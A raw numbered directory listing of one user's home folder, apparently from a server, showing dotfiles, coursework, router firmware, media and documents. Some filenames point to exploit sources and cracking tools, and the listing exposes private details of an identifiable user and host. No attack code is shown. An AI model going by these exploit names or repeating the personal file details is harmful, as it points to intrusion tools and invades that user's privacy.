.ispell_english 9099 drwx------ 2 thalakan thalakan 512 Jul 26 2006 .john 9100 drwx------ 2 thalakan thalakan 512 Jan 30 2004 .keychain 9101 -rw------- 1 thalakan thalakan 922 Jul 17 12:58 .lesshst 9102 drwx------ 2 thalakan thalakan 512 Jun 4 01:09 .links 9103 -rw-r--r-- 1 thalakan thalakan 255 Jan 24 2002 .login 9104 -rw-r--r-- 1 thalakan thalakan 160 Jan 24 2002 .login_conf 9105 drwx------ 3 thalakan thalakan 512 Jan 24 2002 .loki 9106 drwx------ 3 thalakan thalakan 512 Jan 24 2002 .loki.bak 9107 -rw------- 1 thalakan thalakan 17238 Dec 12 2004 .lsof_shaitan 9108 -rw------- 1 thalakan thalakan 371 Jan 24 2002 .mail_aliases 9109 -rw-r--r-- 1 thalakan thalakan 32 Sep 24 2002 .mailcap 9110 -rw-r--r-- 1 thalakan thalakan 331 Jan 24 2002 .mailrc 9111 -rw-r--r-- 1 thalakan thalakan 8750 Jul 15 2005 .mairixrc 9112 drwxr-xr-x 3 thalakan thalakan 512 Feb 21 2005 .mozilla 9113 drwx------ 2 thalakan thalakan 512 Mar 26 2005 .msf 9114 drwx------ 2 thalakan thalakan 512 Sep 20 2002 .mutella 9115 drwxr-xr-x 2 thalakan thalakan 512 Dec 3 2006 .muttcache 9116 lrwxr-xr-x 1 thalakan wheel 19 Jan 24 2002 .muttrc -> jrstools/dot-muttrc 9117 -rw-r--r-- 1 thalakan thalakan 0 Jan 24 2002 .muttrc-local 9118 -rw------- 1 thalakan thalakan 22736 Feb 22 19:04 .mysql_history 9119 -rw------- 1 thalakan thalakan 9010 Dec 12 2004 .nessusrc 9120 drwxr-xr-x 3 thalakan thalakan 512 Apr 14 2006 .paypal.com 9121 -rw-r--r-- 1 thalakan thalakan 1369 Sep 11 2007 .plan 9122 -rw-r--r-- 1 thalakan thalakan 1348 Dec 19 2002 .plan~ 9123 lrwxr-xr-x 1 root wheel 23 Jan 24 2002 .procmailrc -> jrstools/dot-procmailrc 9124 -rw-r--r-- 1 thalakan thalakan 789 Jan 24 2002 .profile 9125 drwx------ 2 thalakan thalakan 1024 Sep 28 2007 .razor 9126 -rw-r--r-- 1 thalakan thalakan 15 Mar 10 2003 .razor.lst 9127 -rw------- 1 thalakan thalakan 276 Jan 24 2002 .rhosts 9128 -rw------- 1 root thalakan 1024 Dec 12 2004 .rnd 9129 -rw------- 1 thalakan thalakan 385 Jul 2 2002 .rpmmacros 9130 -rw------- 1 thalakan thalakan 52 Jan 24 2002 .saves-1970-shaitan.lightconsulting.com~ 9131 -rw-r--r-- 1 thalakan thalakan 52 Jan 24 2002 .saves-54194-shaitan.lightconsulting.com~ 9132 -rw-r--r-- 1 thalakan thalakan 184 Jan 24 2002 .saves-68458-shaitan.lightconsulting.com~ 9133 -rw-r--r-- 1 thalakan thalakan 60 Jan 24 2002 .saves-68837-shaitan.lightconsulting.com~ 9134 -rw-r--r-- 1 thalakan thalakan 264 Jan 24 2002 .saves-68878-shaitan.lightconsulting.com~ 9135 lrwxr-xr-x 1 thalakan thalakan 21 Sep 15 2007 .screenrc -> jrstools/dot-screenrc 9136 drwx------ 2 thalakan thalakan 512 Aug 22 2008 .seraph 9137 -rw-r--r-- 1 thalakan thalakan 852 Jan 24 2002 .shrc 9138 drwx------ 2 thalakan thalakan 4608 Jul 20 09:10 .spamassassin 9139 drwx------ 2 thalakan thalakan 512 Jan 27 17:20 .ssh 9140 drwxr-x--- 2 thalakan thalakan 512 Dec 1 2004 .steam 9141 drwxr-xr-x 3 thalakan thalakan 512 May 1 2007 .subversion 9142 lrwxr-xr-x 1 root wheel 19 Jan 24 2002 .tcshrc -> jrstools/dot-tcshrc 9143 -rw-r--r-- 1 thalakan thalakan 4 Feb 17 2004 .total 9144 drwx------ 3 thalakan thalakan 512 Dec 29 2002 .ut2003 9145 -rw-r--r-- 1 thalakan thalakan 44 Jan 24 2002 .wgetrc 9146 -rw-r--r-- 1 thalakan thalakan 126736 May 19 2005 00000000.pgm 9147 -rwxr--r-- 1 thalakan thalakan 3868 Dec 12 2002 03292002-Invoice.html 9148 -rw-r--r-- 1 thalakan thalakan 128630 Dec 12 2005 10 AccessMaster.exe 9149 -rw-r--r-- 1 thalakan thalakan 801268 Sep 21 2005 100_0007.JPG 9150 -rw-r--r-- 1 thalakan thalakan 345209 Aug 14 2002 100bnew.pdf 9151 drwxr-xr-x 6 thalakan thalakan 3072 Feb 7 13:57 100mget 9152 -rw-r--r-- 1 thalakan thalakan 563004 Oct 5 2008 1223193846115.jpg 9153 -rw-r--r-- 1 thalakan thalakan 28071 Jan 31 15:49 1233445783792.jpg 9154 -rw-r--r-- 1 thalakan thalakan 845637 Jan 18 2007 1700n.tar.gz 9155 -rw-r--r-- 1 thalakan thalakan 6655649 Dec 29 2008 2fyurarftnr6xzux3kjd.pdf 9156 -rw-r--r-- 1 root thalakan 10055100 Nov 15 2005 31337.cap 9157 -rw-r--r-- 1 thalakan thalakan 0 Aug 26 2005 31337.log 9158 -rw-r--r-- 1 thalakan thalakan 932986 Jul 20 2002 328cf0b1.bin 9159 -rw-r--r-- 1 thalakan thalakan 18588 Mar 11 2002 486-config 9160 -rw------- 1 thalakan thalakan 133234 May 2 08:07 5 9161 -rw-r--r-- 1 thalakan thalakan 208 Jul 14 11:19 67.78.151.157.scan 9162 -rw-r--r-- 1 thalakan thalakan 105797 May 3 2002 7200-config 9163 -rw-r--r-- 1 thalakan thalakan 2374 Feb 2 2003 79R5HJ.tmj 9164 -rw-r--r-- 1 thalakan thalakan 80896 Aug 5 2002 BOPIF.DOC 9165 -rw-r--r-- 1 thalakan thalakan 2924 Feb 12 2002 BayonneMon.java 9166 -rw-r--r-- 1 thalakan thalakan 33433328 Dec 2 2008 C815-IPB.BIN 9167 -rw-r--r-- 1 thalakan thalakan 234855 May 30 2002 CMD.EXE 9168 -rw-r--r-- 1 thalakan thalakan 35 Jul 30 2006 CONTINGENCY.TXT 9169 drwxr-xr-x 5 thalakan thalakan 512 Apr 23 2003 CarWash 9170 -rw-r--r-- 1 thalakan thalakan 349 Apr 6 2003 ChanceCategoryClass.java 9171 -rw-r--r-- 1 thalakan thalakan 129024 Jun 21 2002 Credit Application.doc 9172 -rw-r--r-- 1 thalakan thalakan 305632 Dec 14 2004 DF5Serv.exe 9173 -rw-r--r-- 1 thalakan thalakan 378282 Mar 19 2002 DesigningStaticDialPlan.pdf 9174 -rw-r--r-- 1 thalakan thalakan 13415 Sep 7 2004 DiffPlot.nb 9175 -rw-r--r-- 1 thalakan thalakan 123 Apr 6 2003 DummyTurn.java 9176 -rw------- 1 thalakan thalakan 1703 Dec 19 2002 Eddie Lee.asc 9177 -rw-r--r-- 1 thalakan thalakan 1805 Mar 1 2002 Eterm 9178 -rw-r--r-- 1 thalakan thalakan 1805 Mar 1 2002 Eterm-color 9179 -rw-r--r-- 1 thalakan thalakan 935 Mar 1 2002 Eterm.tcap 9180 -rw-r--r-- 1 thalakan thalakan 85504 Dec 9 2006 Final Report.doc 9181 drwxr-xr-x 2 thalakan thalakan 512 Dec 13 2004 FoToZ_JPEG 9182 -rw-r--r-- 1 thalakan thalakan 336864 Sep 6 2005 Folders.dbx 9183 -rw-r--r-- 1 thalakan thalakan 352676 Dec 14 2004 FrzState2k.exe 9184 -rw-r--r-- 1 thalakan thalakan 877 Apr 6 2003 FullHouseCategoryClass.java 9185 -rw-r--r-- 1 thalakan thalakan 184769 Mar 19 2002 GKTMP-how.pdf 9186 -rwxr--r-- 1 thalakan thalakan 4314 Mar 7 2003 Game.java 9187 -rw-r--r-- 1 thalakan thalakan 1864 Jun 14 20:47 GroupVPN_00401012CD94.rcf 9188 -rw------- 1 thalakan thalakan 187366 Nov 17 2002 IEEEtran.cls 9189 -rw-r--r-- 1 thalakan thalakan 3326 May 9 2006 IN_CASE_OF_DEATH.gpg 9190 -rw------- 1 thalakan thalakan 12420 Mar 2 2004 Info.zip 9191 -rwxr-xr-x 1 thalakan thalakan 136537 Oct 24 2002 Installation Report.pdf 9192 -rw-r--r-- 1 thalakan thalakan 888 Nov 17 2004 Joke-notes.txt 9193 -rw------- 1 thalakan thalakan 18853 Nov 17 2004 Joke.exe 9194 -rw-r--r-- 1 thalakan thalakan 2358 Feb 21 2003 JsAppPower.java 9195 -rwxr--r-- 1 thalakan thalakan 1377 Feb 7 2003 JsFactorial.java 9196 -rw-r--r-- 1 thalakan thalakan 2613 Feb 21 2003 JsUniqueNumber.java 9197 drwxr-xr-x 2 thalakan thalakan 512 Feb 26 2003 LinkedArray 9198 drwxr-xr-x 2 thalakan thalakan 512 Jan 26 2005 MATH-101C 9199 drwxr-xr-x 2 thalakan thalakan 512 Feb 24 2005 MATH-103 9200 -rw-r--r-- 1 thalakan thalakan 13185 Feb 24 2005 MATH-103.nb 9201 -rw-r--r-- 1 thalakan thalakan 98057 Jul 24 2006 MBS.zip 9202 drwx------ 3 thalakan thalakan 512 Jul 15 2005 Mail 9203 drwx------ 2 thalakan thalakan 512 Jan 24 2002 Mail.bak 9204 drwxr-xr-x 71 thalakan thalakan 2048 Nov 19 2008 Maildir 9205 -rw-r--r-- 1 thalakan thalakan 998 Apr 6 2005 Makefile 9206 -rw-r--r-- 1 thalakan thalakan 954 Jan 18 2005 Makefile~ 9207 -rw------- 1 thalakan thalakan 207378 Aug 12 2002 Modbin6.exe 9208 -rw-r--r-- 1 thalakan thalakan 275 Apr 6 2003 OAKTest.java 9209 -rw-r--r-- 1 thalakan thalakan 1251 Apr 6 2003 OfAKindCategory.java 9210 -rw-r--r-- 1 thalakan thalakan 20337 Jan 31 2005 Oops.nb 9211 -rw-r--r-- 1 thalakan thalakan 3952640 Nov 1 2004 OpenBIOS-0.99.1.tar 9212 -rwxr-xr-x 1 thalakan thalakan 83839 Dec 13 2004 OpenFuck 9213 -rw-r--r-- 1 thalakan thalakan 33244 Mar 14 2003 OpenFuck.c 9214 -rw-r--r-- 1 thalakan thalakan 30385 Dec 13 2004 OpenFuck.c~ 9215 -rw-r--r-- 1 thalakan thalakan 515854 Feb 28 2002 PANA0005.JPG 9216 -rw-r--r-- 1 thalakan thalakan 495396 Feb 28 2002 PANA0006.JPG 9217 -rw-r--r-- 1 thalakan thalakan 513892 Feb 28 2002 PANA0007.JPG 9218 -rwxr-xr-x 1 thalakan thalakan 13651 Oct 24 2002 PBX400 Administrator Quick Reference.pdf 9219 drwxr-xr-x 2 thalakan thalakan 512 Jan 26 2005 PHYS-141 9220 -rw-r--r-- 1 thalakan thalakan 22686 Apr 17 15:37 PWC_2708_16_24Boot-8.bin 9221 drwxr-xr-x 2 thalakan thalakan 512 Feb 26 2003 Palindrome 9222 -rw------- 1 thalakan thalakan 243945 Jul 4 2004 Part14.zip 9223 -rwxr--r-- 1 thalakan thalakan 5199 Mar 7 2003 Player.java 9224 -rw-r--r-- 1 thalakan thalakan 210 Apr 6 2003 PlayerCountException.java 9225 -rw-r--r-- 1 thalakan thalakan 773989 Apr 17 15:31 PowerConnect_2716_24-1017.bin 9226 -rw-r--r-- 1 thalakan thalakan 0 Apr 2 2004 Preliminary Works Cited Page.doc 9227 -rw-r--r-- 1 thalakan thalakan 22528 Dec 9 2004 Presentation1.ppt 9228 -rw-r--r-- 1 thalakan thalakan 953704 Sep 22 2008 Q815485_WXP_SP2_x86_ENU.exe 9229 -rw-r--r-- 1 thalakan thalakan 117248 Aug 7 2002 RACK-210_R3705.doc 9230 -rw-r--r-- 1 thalakan thalakan 157184 Jun 26 2002 RACK-2300 B-TEST.doc 9231 -rw-r--r-- 1 thalakan thalakan 117760 Aug 7 2002 RACK-2330_R3705.doc 9232 -rw-r--r-- 1 thalakan thalakan 916 Jun 5 2002 RAID-RECOVERY-HOWTO 9233 -rw-r--r-- 1 thalakan thalakan 18902 Nov 22 2006 RATIONALE 9234 -rw-rw-rw- 1 thalakan thalakan 1293 Jan 5 2004 README.TXT 9235 -rw-r--r-- 1 thalakan thalakan 2789 Nov 22 2006 README_C 9236 -rw-r--r-- 1 thalakan thalakan 149504 Jun 26 2002 ROCKY-3705EV-B.doc 9237 drwxr-xr-x 2 thalakan thalakan 512 Mar 9 2008 SDL_iphone 9238 -rw-r--r-- 1 thalakan thalakan 4205 Mar 9 2008 SDL_iphone.tar.gz 9239 -rw------- 1 thalakan thalakan 1215348 Jul 4 2004 STDpart14.zip 9240 -rw------- 1 thalakan thalakan 2520433 Feb 14 2006 STDpart35.zip 9241 -rw------- 1 thalakan thalakan 3042154 Apr 9 2006 STDpart36.zip 9242 -rw-r--r-- 1 thalakan thalakan 547 Apr 6 2003 ScoringCategory.java 9243 -rw-r--r-- 1 thalakan thalakan 3227 Apr 6 2003 ScoringCategoryTest.java 9244 -rwxr--r-- 1 thalakan thalakan 3494 May 21 2003 Script1.rc 9245 -rwx------ 1 thalakan thalakan 349629 Mar 9 2005 Section 11.nb 9246 -rw-r--r-- 1 thalakan thalakan 846 Apr 6 2003 SimpleNumberCategory.java 9247 -rw-r--r-- 1 thalakan thalakan 16472603 Jul 27 2005 StudentWorkbook.pdf 9248 -rw-r--r-- 1 thalakan thalakan 3955 Feb 1 2005 THQ2.nb 9249 -rw-r--r-- 1 thalakan thalakan 135 Mar 27 2008 TODO 9250 -rw------- 1 thalakan thalakan 2999 Feb 19 2002 TeleRunner Specification Document.txt 9251 -rw------- 1 thalakan thalakan 2990 Feb 19 2002 TeleRunner Specification Document.txt~ 9252 -rw------- 1 thalakan thalakan 1916333 Jan 31 2002 The Man Show Boy Bee-1.WMV 9253 -rwxr--r-- 1 thalakan thalakan 153 Mar 7 2003 Turn.html 9254 -rwxr--r-- 1 thalakan thalakan 6570 Mar 7 2003 Turn.java 9255 -rw-r--r-- 1 thalakan thalakan 14052 Jan 5 2006 UTF-8-demo.txt 9256 drwxr-xr-x 4 thalakan thalakan 512 Dec 11 2004 Unix 9257 -rw-r--r-- 1 thalakan thalakan 97012008 Dec 11 2004 Unix.zip 9258 -rw-r--r-- 1 thalakan thalakan 8385 Oct 28 2005 Untitled-2.pdf 9259 -rwxr-xr-x 1 thalakan thalakan 1081792 Jul 13 2006 Update.to.flapjack2.4.0.17@OS 9260 -rw-r--r-- 1 thalakan thalakan 8652 Nov 22 2006 VARIATIONS 9261 -rw-r--r-- 1 thalakan thalakan 911838 Aug 28 2003 VMA_make_out.mpg 9262 -rw-r--r-- 1 thalakan thalakan 5585 Jul 12 2005 a.asm 9263 -rwxr-xr-x 1 thalakan thalakan 379 Sep 3 2005 a.out 9264 -rw------- 1 thalakan thalakan 331776 Dec 7 2004 a.out.core 9265 -rw-r--r-- 1 thalakan thalakan 30258 Sep 27 2002 abul-invoice1.rtf 9266 -rw-r--r-- 1 thalakan thalakan 30258 Sep 27 2002 abul-invoice2.rtf 9267 -rwxr-xr-x 1 thalakan thalakan 26894 Nov 1 2004 ac 9268 -rw-r--r-- 1 thalakan thalakan 15660 Nov 1 2004 ac.c 9269 -rw-r--r-- 1 thalakan thalakan 17245 Dec 10 2004 ac.js 9270 -rw------- 1 thalakan thalakan 11310 Dec 10 2004 ac.js.BAK 9271 -rw-r--r-- 1 thalakan thalakan 11298 Dec 9 2004 ac.js~ 9272 -rw-r--r-- 1 thalakan thalakan 18392 Oct 22 2004 adcb8e448441f72180f7a04827188e13 9273 -rw-r--r-- 1 thalakan thalakan 769 Jun 15 2004 addresses 9274 -rwxr-xr-x 1 thalakan thalakan 4295 Oct 21 2004 addrinfo_size 9275 -rw-r--r-- 1 thalakan thalakan 111 Oct 21 2004 addrinfo_size.c 9276 -rw-r--r-- 1 thalakan thalakan 31 May 4 2006 admin-wireless.sh 9277 -rw------- 1 thalakan thalakan 31232 Nov 5 2008 adobe_flash9.exe 9278 -rw-r--r-- 1 thalakan thalakan 4365 Nov 6 2005 adv-world.scm 9279 -rw-r--r-- 1 thalakan thalakan 8555 Nov 6 2006 adv.scm 9280 -rw-r--r-- 1 thalakan thalakan 1505102 Feb 8 17:44 aldkjadsklj.DAT 9281 -rw-r--r-- 1 thalakan thalakan 1051 Nov 20 2004 align.c 9282 -rw-r--r-- 1 thalakan thalakan 789 Nov 20 2004 align.c~ 9283 -rw-r--r-- 1 thalakan thalakan 8839452 Nov 19 2002 all.cap 9284 drwxr-xr-x 6 thalakan thalakan 1024 Nov 29 2005 am 9285 -rw-r--r-- 1 thalakan thalakan 31759 Jun 6 2004 antz.zip 9286 -rwxr-xr-x 1 thalakan thalakan 10520 Jun 20 2002 apache-scalp 9287 -rw------- 1 thalakan thalakan 10811 Jun 20 2002 apache-scalp.c 9288 -rw-r--r-- 1 thalakan thalakan 163840 Dec 14 2004 arcsetup.exe 9289 -rwxr-xr-x 1 thalakan thalakan 1131 Jan 9 2005 asfdump.pl 9290 -rw-r--r-- 1 thalakan thalakan 209 Jan 9 2005 asfdump.pl~ 9291 -rw-r--r-- 1 thalakan thalakan 107 Jan 24 2002 asi-notes.txt 9292 -rw-r--r-- 1 thalakan thalakan 671516 Sep 11 2004 asns.txt 9293 -rw-r--r-- 1 thalakan thalakan 106496 Nov 11 2002 asterisk-shipped.tar.gz 9294 -rw------- 1 thalakan thalakan 46154 Jan 31 2002 at_the_tone_807.au 9295 -rwxr--r-- 1 thalakan thalakan 2870 Mar 19 2004 atomicity.c 9296 -rw-r--r-- 1 thalakan thalakan 12758 Aug 30 2005 august 9297 -rw-r--r-- 1 thalakan thalakan 6784 Aug 31 2005 august.1 9298 -rw-r--r-- 1 thalakan thalakan 2886 Aug 17 2007 august.1.txt 9299 -rw-r--r-- 1 thalakan thalakan 220792 Aug 9 2008 august.ldif 9300 -rwxr-xr-x 1 thalakan thalakan 3664 Mar 13 2002 authorizenet.pl 9301 -rwxr-xr-x 1 thalakan thalakan 3924 Oct 22 2008 automat.py 9302 -rw-r--r-- 1 thalakan thalakan 12 Oct 22 2008 automat.sh 9303 -rw-r--r-- 1 thalakan thalakan 2016 Aug 22 2008 azn_jesus@219-89-166-156.jetstart.xtra.co.nz 9304 -rw-r--r-- 1 thalakan thalakan 5585 Jul 12 2005 b.asm 9305 -rw------- 1 thalakan thalakan 1068 Nov 6 2006 b6-transcript.txt 9306 -rw------- 1 thalakan thalakan 1375 Nov 6 2006 b7.scm 9307 -rwxr--r-- 1 thalakan thalakan 2359 Dec 12 2002 backup.txt 9308 -rw-r--r-- 1 thalakan thalakan 7652 Aug 23 2002 bad.txt 9309 -rw-r--r-- 1 thalakan thalakan 1758079 Nov 19 2002 badnetware.cap 9310 -rw-r--r-- 1 thalakan thalakan 11 Apr 19 16:51 bannor.txt 9311 -rw------- 1 thalakan thalakan 15625 Nov 17 2002 bare_conf.tex 9312 -rw------- 1 thalakan thalakan 19196 Nov 17 2002 bare_jrnl.tex 9313 drwxr-xr-x 12 thalakan thalakan 2560 Jan 11 2009 bash-3.2.48 9314 -rw-r--r-- 1 thalakan thalakan 2541712 Jan 5 2009 bash-3.2.48.tar.gz 9315 -rw-r--r-- 1 thalakan thalakan 475 Apr 18 23:25 bash-hosts.txt 9316 -rw-r--r-- 1 thalakan thalakan 475 Apr 18 23:17 bash-hosts.txt~ 9317 -rw-r--r-- 1 thalakan thalakan 101 Jul 24 2002 batch_csv.csv 9318 -rwx------ 1 thalakan thalakan 36552008 Jun 8 2006 baundemaym.exe 9319 -rw-r--r-- 1 thalakan thalakan 229376 May 13 2003 bayonne-1.0.8.tar.gz 9320 -rwxr-xr-x 1 thalakan thalakan 825092 Feb 20 2002 bayonne.bin 9321 -rw-r--r-- 1 thalakan thalakan 134784 Jan 6 2005 best.jpg 9322 drwxr-xr-x 2 thalakan thalakan 512 Dec 1 2008 bin 9323 -rw-r--r-- 1 thalakan thalakan 72 Jun 9 2006 bin.txt 9324 -rw-r--r-- 1 thalakan thalakan 9985319 Dec 28 2002 binutils-2.13.2.tar.bz2 9325 -rw-r--r-- 1 thalakan thalakan 333 Nov 28 2006 black magic for dummies.txt 9326 -rw-r--r-- 1 thalakan thalakan 9451 Jun 2 14:05 blah.html 9327 -rwxr-xr-x 1 thalakan thalakan 3099 Jan 1 2009 blah.pl 9328 -rwxr-xr-x 1 thalakan thalakan 30312 Dec 22 2002 blddeps_conf.tex 9329 -rw-r--r-- 1 thalakan thalakan 4887 Mar 13 2002 bop-authorizenet-diff 9330 -rwxr-xr-x 1 thalakan thalakan 7084 Apr 18 23:40 bso.so 9331 -rw-r--r-- 1 thalakan thalakan 652 Oct 5 2007 bug1.txt 9332 -rw-r--r-- 1 thalakan thalakan 69 Jul 23 2002 bugreport 9333 -rw------- 1 thalakan thalakan 4984 Apr 18 2002 bugreports.txt 9334 -rw------- 1 thalakan thalakan 4550 Apr 18 2002 bugreports.txt~ 9335 -rw-r--r-- 1 thalakan thalakan 65 Nov 24 2004 bwmon.log 9336 -rwxr-xr-x 1 thalakan thalakan 1207 Nov 24 2004 bwmon.pl 9337 -rwxr-xr-x 1 thalakan thalakan 1171 Nov 24 2004 bwmon.pl~ 9338 -rw-r--r-- 1 thalakan thalakan 136 Jun 20 2002 bytecode 9339 -rw-r--r-- 1 thalakan thalakan 572958 Mar 11 2002 bzImage 9340 drwxr-xr-x 2 thalakan thalakan 512 May 5 2005 c1 9341 -rwxr-xr-- 1 thalakan thalakan 10568040 Mar 12 12:12 c1700-ipbase-mz_124-1c. 9342 -rw-r--r-- 1 thalakan thalakan 4902344 May 3 2002 c2500-i-l.113-4 9343 -rw-r--r-- 1 thalakan thalakan 0 Sep 30 2008 c2600-i-mz-123-26.bin 9344 -rw-r--r-- 1 thalakan thalakan 7754580 Mar 18 2008 c2600-i-mz.123-26.bin 9345 -rw-r--r-- 1 thalakan thalakan 1347 May 3 2002 c2900-config 9346 -rw-r--r-- 1 thalakan thalakan 1644046 May 3 2002 c2900XL-c3h2s-mz-120.5-XU.bin 9347 -rw-r--r-- 1 thalakan thalakan 105961 May 3 2002 c2900XL-diag-mz-120.5-XU 9348 -rw-r--r-- 1 thalakan thalakan 3100552 May 3 2002 c7200-boot-mz.120-16.S.bin 9349 -rw-r--r-- 1 thalakan thalakan 12847544 Dec 2 2008 c815-ipbase-mz.124-15.T8.bin 9350 -rw-r--r-- 1 thalakan thalakan 3839 Apr 6 03:26 ca20.log 9351 -rw-r--r-- 1 thalakan thalakan 870 Feb 22 02:19 ca20.log~ 9352 -rw-r--r-- 1 thalakan thalakan 21706 Feb 7 2002 calls.jpg 9353 -rw-r--r-- 1 thalakan thalakan 51891 May 21 2003 cam.jpg 9354 -rwxr-xr-x 1 thalakan thalakan 49588 Apr 13 2005 can 9355 -rw-r--r-- 1 thalakan thalakan 19 Apr 11 2005 can.c 9356 -rw-r--r-- 1 thalakan thalakan 203 Apr 13 2005 can.f 9357 -rwxr-xr-x 1 thalakan thalakan 215 Mar 29 2004 catch.sh 9358 -rwxr-xr-x 1 thalakan thalakan 182 Mar 29 2004 catch.sh~ 9359 -rw-r--r-- 1 thalakan thalakan 462 Apr 25 2006 cc.txt.gpg 9360 -rw------- 1 thalakan thalakan 8604 Sep 9 2002 cca_paisa.wav 9361 -rw------- 1 thalakan thalakan 6880 Sep 9 2002 cca_taka.wav 9362 -rwxr-xr-x 1 thalakan thalakan 5147 Aug 13 2002 ccd.pl 9363 -rw-r--r-- 1 thalakan thalakan 25440256 May 30 2004 chase&tycho.mov 9364 -rwxr-xr-x 1 thalakan thalakan 112 Apr 11 2008 checkpid.sh 9365 -rw-r--r-- 1 thalakan thalakan 3512320 May 28 2002 cher.mpa 9366 -rwxr-xr-x 1 thalakan thalakan 367 Apr 8 2002 chkmonitor.sh 9367 drwxr-xr-x 2 thalakan thalakan 1024 Apr 3 2005 chkrootkit-0.45 9368 -rw-r--r-- 1 thalakan thalakan 36359 Apr 3 2005 chkrootkit.tar.gz 9369 drwxr-xr-x 2 thalakan thalakan 512 Nov 23 2008 churchcutsintobeertime.com 9370 -rw-r--r-- 1 thalakan thalakan 180224 May 29 2002 cid.txt 9371 -rw-r--r-- 1 thalakan thalakan 560 May 17 2002 cidlog.scr 9372 -rw-r--r-- 1 thalakan thalakan 960044 Sep 8 2002 cidtest.wav 9373 -rw-r--r-- 1 thalakan thalakan 226717 Sep 8 2002 cidtest.zip 9374 -rw-r--r-- 1 thalakan thalakan 236304 May 4 2005 cmd-2k.exe 9375 -rw-r--r-- 1 thalakan thalakan 494 Feb 27 2005 cmdline.c 9376 -rw-r--r-- 1 thalakan thalakan 111 May 3 2007 cmdsvc.cmd 9377 -rw-r--r-- 1 thalakan thalakan 12225 May 2 2003 cmdwatch-0.2.0.tar.gz 9378 -rw-r--r-- 1 thalakan thalakan 1182 Jun 15 2003 cmosdump.c 9379 -rw-r--r-- 1 thalakan thalakan 488 Feb 7 2003 cmoswipe 9380 -rw-r--r-- 1 thalakan thalakan 0 Dec 3 2008 cocks.dat 9381 -rwxr-xr-x 1 thalakan thalakan 105 Nov 20 2007 colorize.pl 9382 -rw-r--r-- 1 thalakan thalakan 9 Nov 20 2007 colors.txt 9383 -rw-r--r-- 1 thalakan thalakan 1359 Feb 21 22:07 computerservice.txt 9384 -rw-r--r-- 1 thalakan thalakan 1154 Feb 21 14:25 computerservice.txt~ 9385 -rw-r--r-- 1 thalakan thalakan 73913 Jan 24 2002 console_start.cs 9386 -rw-r--r-- 1 thalakan thalakan 487 Jan 23 2003 convert.pl 9387 -rwxr-xr-x 1 thalakan thalakan 306 Jun 23 2003 convert2.pl 9388 drwxr-xr-x 2 thalakan thalakan 1536 Nov 9 2004 courierimaphieracl 9389 drwxr-x--- 2 thalakan thalakan 512 Nov 9 2004 courierimapkeywords 9390 -rw-r--r-- 1 thalakan thalakan 6 Nov 9 2004 courierimapsubscribed 9391 -rw-r--r-- 1 thalakan thalakan 15 Nov 9 2004 courierimapuiddb 9392 -rw-r--r-- 1 thalakan thalakan 162114 Jun 12 2007 crack.zip 9393 -rw-r--r-- 1 thalakan thalakan 21579 Apr 5 2003 cracknotes.txt 9394 -rw-r--r-- 1 thalakan thalakan 21555 Apr 5 2003 cracknotes.txt~ 9395 drwxr-xr-x 3 thalakan thalakan 512 Aug 31 2002 craigslist 9396 -rw-r--r-- 1 thalakan thalakan 1455 Feb 22 15:26 craigslistad.txt 9397 -rw-r--r-- 1 thalakan thalakan 512 Dec 12 2004 crap 9398 -rwxr-xr-- 1 thalakan thalakan 201312 May 4 12:34 crash.ifo 9399 -rwxr-xr-x 1 thalakan thalakan 15592 Apr 4 2003 crazy 9400 -rw-r--r-- 1 thalakan thalakan 10185 Apr 4 2003 crazy.c 9401 -rw-r--r-- 1 thalakan thalakan 10155 Sep 4 2002 creditappUS.rtf 9402 -rwxr--r-- 1 thalakan thalakan 1522 Feb 7 2003 cs-170.txt 9403 -rw-r--r-- 1 thalakan thalakan 352750592 Sep 6 2005 cs61a-su05-cs61a.tar 9404 -rw-r--r-- 1 thalakan thalakan 5772 Nov 24 2004 cssource_class.php 9405 drwxr-xr-x 3 thalakan thalakan 2560 Jun 22 2005 ctorrent-1.3.4 9406 -rwx------ 1 thalakan thalakan 1605317 Aug 13 2004 curl-7.12.0-vms-axp.zip 9407 drwxr-xr-x 4 thalakan thalakan 512 Jun 6 2003 cvsroot 9408 drwxr-xr-x 3 thalakan thalakan 512 Jun 6 2003 cvsweb 9409 -rw-r--r-- 1 thalakan thalakan 896683 May 11 14:04 cycle-aslinks.l7.t1.c000490.20090508.txt 9410 drwxr-xr-x 2 thalakan thalakan 512 Aug 5 2007 damn 9411 -rw-r--r-- 1 thalakan thalakan 81563 Jan 27 2002 darkbot-6f6-r6.tar.gz 9412 drwxr-xr-x 8 thalakan thalakan 1024 Mar 16 2002 darkbot6f6 9413 drwxr-xr-x 2 thalakan thalakan 512 Sep 11 2004 data 9414 -rw-r--r-- 1 thalakan thalakan 1492 Nov 24 2004 data.txt 9415 -rw-r--r-- 1 thalakan thalakan 160426792 Sep 24 2007 databases.sql 9416 drwxr-xr-x 2 thalakan thalakan 512 Sep 5 2007 datasheetporn 9417 -rw------- 1 thalakan thalakan 42439 Nov 17 2002 db_conf.tex 9418 -rw-r--r-- 1 thalakan thalakan 141 May 4 2005 dc13.txt 9419 -rw-r--r-- 1 thalakan thalakan 3976 Jun 22 2006 dc14.txt 9420 -rw-r--r-- 1 thalakan thalakan 347 May 9 2006 dc14.txt~ 9421 -rw-r--r-- 1 thalakan thalakan 4515559424 Apr 29 13:14 dc3-1.iso 9422 -rw-r--r-- 1 thalakan thalakan 835713024 Apr 29 15:20 dc3-2.iso 9423 -rw------- 1 thalakan thalakan 591 Jan 3 2009 dead.letter 9424 -rwxr-xr-x 1 thalakan thalakan 946 Jun 21 2003 decrypt.pl 9425 -rwxr--r-- 1 thalakan thalakan 28077 Jul 13 2003 defcon-network.png 9426 -rwxr--r-- 1 thalakan thalakan 933 Jul 13 2003 defcon1.png 9427 -rw-r--r-- 1 thalakan thalakan 37960995 Nov 29 2002 defconx.wmv 9428 -rw-r--r-- 1 thalakan thalakan 40472 Nov 7 2008 deliciousapi.py 9429 -rw-r--r-- 1 thalakan thalakan 34369 Nov 7 2008 deliciousapi.pyc 9430 -rwxr-xr-x 1 thalakan thalakan 12405 Nov 22 2006 dhry 9431 -rw-r--r-- 1 thalakan thalakan 72812 Aug 25 1990 dhry-c 9432 -rw-r--r-- 1 thalakan thalakan 18418 Nov 22 2006 dhry.h 9433 -rw-r--r-- 1 thalakan thalakan 11682 Nov 22 2006 dhry_1.c 9434 -rw-r--r-- 1 thalakan thalakan 6788 Nov 22 2006 dhry_1.o 9435 -rw-r--r-- 1 thalakan thalakan 5273 Nov 22 2006 dhry_2.c 9436 -rw-r--r-- 1 thalakan thalakan 1426 Nov 22 2006 dhry_2.o 9437 -rw-r--r-- 1 thalakan thalakan 4354 Nov 22 2006 